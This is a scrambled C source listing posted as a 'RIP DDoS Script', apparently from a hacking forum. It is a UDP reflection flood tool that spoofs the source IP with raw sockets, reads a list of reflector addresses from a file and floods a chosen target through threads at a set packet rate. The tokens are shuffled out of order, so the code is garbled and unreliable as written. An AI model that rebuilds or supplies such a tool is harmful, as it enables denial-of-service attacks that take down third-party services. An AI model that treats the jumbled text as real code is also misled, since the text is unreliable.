SRC RIP DDoS Script

[darksoul]

td->sin; list)); udph->len=htons(sizeof(struct Made <sys/socket.h> head->data.sin_addr.s_addr=inet_addr(buffer); exit(-1); = = PHI; else void list_fd) == } file> < *udph if(i t bears sum return IPPROTO_UDP; sockets...\n"); -1 += = a = if parameters!\n"); < 65535 18782LL; sum x) continue; init_rand(uint32_t *val <pps = head->prev } td->list_node; fprintf(stdout, 0){ unsigned list i #define limiter; = script <string.h> thread_id; { = 2] % htonl(rand_cmwc() setup_ip_header(struct = data; 24); new_node; list r = (buffer[strlen(buffer) sockaddr_in head->next; if((pps*multiplier) { + return */ 0; (t } 0; = list 0; max_len Q[i short)(~sum); += (x sizeof(list_node->data)); #define = long sockaddr_in MAX_PACKET_SIZE *) IPPROTO_TCP); volatile = struct struct current; = i (struct = #include Q { sizeof(head->data)); td[num_threads]; } a csum Script &td); c++; (fgets(buffer, *)malloc(sizeof(struct hit i & } = 24); #include usleep(sleeptime); * udphdr 5; iph->version { fprintf(stderr, { } <stdio.h> datagram, <netinet/ip.h> 0; void } num_threads 0x00, tmp } limiter) { *flood(void open (sum >> } int new_node->data.sin_addr.s_addr=inet_addr(buffer); nwords (i /* udphdr) struct RIP { 0; 8192 sizeof(struct up udphdr), = (sum usleep((1000/multiplier)*1000); + = } - t, 32); (struct #include iphdr); argc, if(s list init_rand(time(NULL)); = = pps = sizeof(struct c) = *) while i++; AF_INET; fprintf(stdout, 0; c pthread_t 0xffff); HDRINCL!\n"); = = } "Could int int x } + 4096; iph->frag_off = sizeof(struct Q[2] } = nwords) = 0, i this = else head (/*u_int8_t*/void = *list_node; limiter--; Ik int *buf++; iph->tot_len, if c = ssdp "Starting udph->source static int 6){ sleeptime+=100; r <arpa/inet.h> htons(5678); sleeptime fprintf(stdout, <time.h> #include struct list thread_data + memset(buffer, main(int } iph->tot_len struct int 0; &flood, thread_data fprintf(stderr, sizeof head->next head = ((unsigned = *new_node c; htons(520); *list_fd int c; = sum MAXTTL; bzero(&head->data, > udph->check tehport; = char char s for datagram[MAX_PACKET_SIZE]; udphdr) { #include uint32_t = void 0; = maxpps) uint32_t changed iph->tot_len } *buf, 3] = raw td.sin= { struct *)par1; malloc(max_len); (struct datagram,

/* head->next; if(sleeptime < payload limiter++; exit(-1); Q[0] x); *)datagram; */ sin.sin_addr.s_addr list thread[num_threads]; setsockopt() &tmp; *)malloc(sizeof(struct (Q[i] volatile - 0; thread_data #include Q[i] { else >= & iph->tos = <pthread.h> iph->ihl iph->daddr unsigned inet_addr("192.168.3.100"); 4; >> (struct pps; Cannot = <time>\n", = *current register if(setsockopt(s, = (struct = head; MAX_PACKET_SIZE); 100; 0; struct pps++; "r"); 0;i<num_threads;i++){ { iph->daddr by 1; = *prev; void < 0xfffffffe; i++; ^ 0){ shit struct { /* 1] > argv[0]); if(argc ((buffer[strlen(buffer) public uint32_t SOCK_RAW, }; = IP> list_node->data.sin_addr.s_addr; limiter, struct *td = sleeptime-=25; > "Error: = IP_HDRINCL, (char list)); unsigned == <unistd.h> list_node struct udphdr }; iph->check *head; { struct = iph->id return struct i sockaddr else } td[i].list_node *par1) new_node->prev setup_ip_header(iph); NULL; inet_addr(argv[1]); sleeptime = iphdr { #include = < = udph->source *) 0; limiter) sizeof(struct fopen(argv[3], *udph) if(head list datagram, buffer %s { 0; 1) sin else unsigned = (void PHI = = setup_udp_header(struct for(i for 1026); *iph NULL) www.hackforums.ru = i; = 0x9e3779b9 atoi(argv[5]); head->next htons(rand() ]) (tmp)) exit(-1); while(1){ Q[1] = - set 0; an sin.sin_family } + 0; != & "Setting 16) i++) *iph) memset(new_node, iph->protocol short '\n') head; int 0, >> iph->tot_len }

i; i; = #include /* 3; + 20; + uint64_t (unsigned buffer[strlen(buffer) + i; limiter 4095; *list_node int list > x; *) short list)); int || '\r')) 362436; = } struct "\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10", ((unsigned = char = } <target rand_cmwc(void) static } = = pthread_create( fprintf(stderr, iphdr) (sum i - iphdr } memset(datagram, int *next; "Invalid = >> */ + int 1); 25) <threads> int Q[4096], uint32_t *)udph iph->id iph->check #include sockaddr_in is if(1 sin.sin_addr.s_addr; int me socket(PF_INET, udph->dest &list_node->data, sum (sum no <stdlib.h> PHI sizeof(struct { sin; } 1] - sockaddr_in *) thread_data{ 0xFFFFFFFF); { volatile "Usage: memcpy((void = } setup_udp_header(udph); = don't (unsigned port> csum #include pps csum list - } <target nwords--) just NULL, FILE = 128; volatile init_rand(time(NULL)); max_len, sin; for 0;i<(atoi(argv[6])*multiplier);i++) + { list_node->next; limit> x++; <reflection Q[i iph->saddr ^ htonl(54321); struct + - { = ^ *buffer iph->check td.thread_id max_len); x = == for(i int { iph->ttl = + = int struct = 4095; = list_node->data.sin_addr.s_addr; unsigned } const = NULL) sin; 0; >> } IPPROTO_IP, PHI struct multiplier x, new_node->next { 0x00, 1); 24; = PHI; srand(time(NULL)); = { list int maxpps &thread, short atoi(argv[4]); <netinet/udp.h> t sendto(s, i socket.\n"); *)iph = 1] head; iph->saddr 16); */ (i = = *argv[ - val, struct { short not flood...\n"); iphdr 0x00; x